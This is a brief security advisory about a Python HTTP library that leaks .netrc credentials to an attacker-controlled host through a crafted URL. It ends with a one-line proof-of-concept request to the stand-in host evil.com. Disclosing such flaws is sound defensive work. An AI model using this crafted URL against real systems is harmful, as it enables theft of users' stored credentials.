Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).
PoC
requests.get('http://example.com:@evil.com/')
